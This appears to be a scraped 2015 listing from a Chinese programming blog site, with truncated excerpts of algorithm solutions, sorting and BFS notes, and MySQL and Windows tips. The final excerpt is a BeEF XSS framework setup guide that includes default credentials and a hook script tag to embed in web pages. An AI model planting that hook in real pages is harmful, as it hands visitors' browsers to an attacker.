Need a helper function to return the binary tree maximum height. If the return value is -1, it means there is a imbalanced subbranch . 1 /** 2 * Defi....
分类:
其他 时间:
2015-03-18 07:46:59
收藏:
0 评论:
0 赞:
0 阅读:
304
This is simple, use greedy algorithm will solve the problem. 1 class Solution { 2 public: 3 int maxProfit(vector &prices) { 4 int len = pr...
分类:
其他 时间:
2015-03-18 07:46:49
收藏:
0 评论:
0 赞:
0 阅读:
304
This is combination of II and III.1. when k >= length, it is totally II.2. when k localMax[j] = max(localMax[j] + diff, globalMax[j-1] + max(0, diff.....
分类:
其他 时间:
2015-03-18 07:46:39
收藏:
0 评论:
0 赞:
0 阅读:
256
This question is pretty straight forward. 1 class Solution { 2 public: 3 string addBinary(string a, string b) { 4 int runnerA = a.size()-1...
分类:
其他 时间:
2015-03-18 07:46:29
收藏:
0 评论:
0 赞:
0 阅读:
293
Same with add binary. You can also skip delete the result pointer. But just return result->next. Depends on the interviewer. 1 /** 2 * Definition for....
分类:
其他 时间:
2015-03-18 07:46:19
收藏:
0 评论:
0 赞:
0 阅读:
257
III is a kind of I. But it require 2 maximum value. So scan from begin and scan from end to record the maximum value for currrent index.Then scan the ...
分类:
其他 时间:
2015-03-18 07:46:09
收藏:
0 评论:
0 赞:
0 阅读:
300
使用 Start 屏幕查找 Windows 更新从屏幕右侧边缘扫入,然后点击“搜索”。如果您正在使用鼠标,请指向屏幕右下角,然后单击“搜索”。在搜索框内输入Windows 更新,点击或单击“设置”,然后点击或单击“安装可选更新”。
分类:
Windows开发 时间:
2015-03-18 07:45:59
收藏:
0 评论:
0 赞:
0 阅读:
425
http://arena.acmclub.com/problem.php?id=26850数码世界的国王Shoutmon想要在n个小岛上举办一个游戏,来让数码宝贝们好好玩耍。背景是这样的:在这n个小岛之间事先安放了一些单向通道,每个通道连接两个不同的小岛,且只能按一个给定的方向通过。数码宝贝每次由通...
分类:
其他 时间:
2015-03-18 07:45:49
收藏:
0 评论:
0 赞:
0 阅读:
387
To be honest, I dont like this problem. This is just an extra layer loop for 3sum. But two mistakes I had made…..1. when skip j, use condition j > i+1...
分类:
其他 时间:
2015-03-18 07:45:39
收藏:
0 评论:
0 赞:
0 阅读:
254
1 class Solution { 2 public: 3 int maxProfit(vector &prices) { 4 if (prices.size() < 2) return 0; 5 int len = prices.size(), resu...
分类:
其他 时间:
2015-03-18 07:45:29
收藏:
0 评论:
0 赞:
0 阅读:
195
Java 官方为开发者提供了很多功能强大的类,这些类被分别放在各个包中,随JDK一起发布,称为Java类库或Java API。API(Application Programming Interface, 应用程序编程接口)是一个通用概念。例如我编写了一个类,可以获取计算机的各种硬件信息,它很强大很稳...
分类:
编程语言 时间:
2015-03-18 07:45:19
收藏:
0 评论:
0 赞:
0 阅读:
212
算法说明希尔排序是插入排序的优化版。插入排序的最坏时间复杂度是O(n2),但如果要排序的数组是一个几乎有序的数列,那么会降低有效的减低时间复杂度。希尔排序的目的就是通过一个increment(增量)来对数列分组进行交换排序,最终使数列几乎有序,最后再执行插入排序,统计出结果。通过increment=...
分类:
编程语言 时间:
2015-03-18 07:45:09
收藏:
0 评论:
0 赞:
0 阅读:
343
题意:给出 n、m 两数,可以对 n 进行两种操作 减一或者乘二,操作过程中 n 必须保证非负,问使 n 变为 m 至少需要几步操作。这是我练水题的时候做到的,题目不难,只是我 bfs 一直没怎么用过比较不熟练,RE 了两发,就整理了这题。首先,若 n==m ,那么步骤数就是 0 ,而若 n > m...
分类:
其他 时间:
2015-03-18 07:44:59
收藏:
0 评论:
0 赞:
0 阅读:
268
There are three methods to do it:1. recursive(use memory stack): (Time O(n), Space O(logn) 1 /** 2 * Definition for binary tree 3 * struct TreeNode .....
分类:
其他 时间:
2015-03-18 07:44:49
收藏:
0 评论:
0 赞:
0 阅读:
243
For this problem, do not forget to skip the duplicates for i. Usually I will do duplication removal for j and k.Tag it. 1 class Solution { 2 public: 3...
分类:
其他 时间:
2015-03-18 07:44:39
收藏:
0 评论:
0 赞:
0 阅读:
281
求mk整除n!,求k的最大值。现将m分解质因数,比如对于素数p1分解出来的指数为k1,那么n!中能分解出多少个p1出来呢?考虑10!中2的个数c:1~10中有10/2个数是2的倍数,c += 5;1~10中有10/4个数是4的倍数,所以c += 2,其中有10/8 = 1个数是8的倍数,所以c +=...
分类:
其他 时间:
2015-03-18 07:44:29
收藏:
0 评论:
0 赞:
0 阅读:
214
引用题解:http://blog.csdn.net/popoqqq/article/details/38823457题目大意:给出一个n个节点的有根树(编号为0到n-1,根节点为0)。一个点的深度定义为这个节点到根的距离+1。设dep[i]表示点i的深度,LCA(i,j)表示i与j的最近公共祖先。有...
分类:
其他 时间:
2015-03-18 07:44:19
收藏:
0 评论:
0 赞:
0 阅读:
301
1.更改root 密码以后,不能用root用户默认登陆。开始没有更改root用户密码的时候,启动mysql后,直接输入mysql命令既可以进入mysql。修改以后用[root@meimei mysql]# mysql -uroot -pEnter password:输入密码以后进入。2.servic...
分类:
数据库技术 时间:
2015-03-18 07:44:09
收藏:
0 评论:
0 赞:
0 阅读:
302
佛祖保佑,永无BUG: //
//???????????????????????_oo0oo_
//??????????????????????o8888888o
//??????????????????????88"?.?"88
//?...
分类:
其他 时间:
2015-03-18 06:43:00
收藏:
0 评论:
0 赞:
0 阅读:
265
Kalilinux系统默认未安装beef,需要自行安装12apt-getupdateapt-getinstallbeef-xss启动/usr/share/beef-xss12cd/usr/share/beef-xss./beef账号密码127.0.0.1:3000/ui/pannelbeef/beef嵌入代码<scriptsrc="Ip:3000/hook.js">与Metasploit联动Beef配置文件/usr/share/bee..
分类:
其他 时间:
2015-03-18 06:41:20
收藏:
0 评论:
0 赞:
0 阅读:
345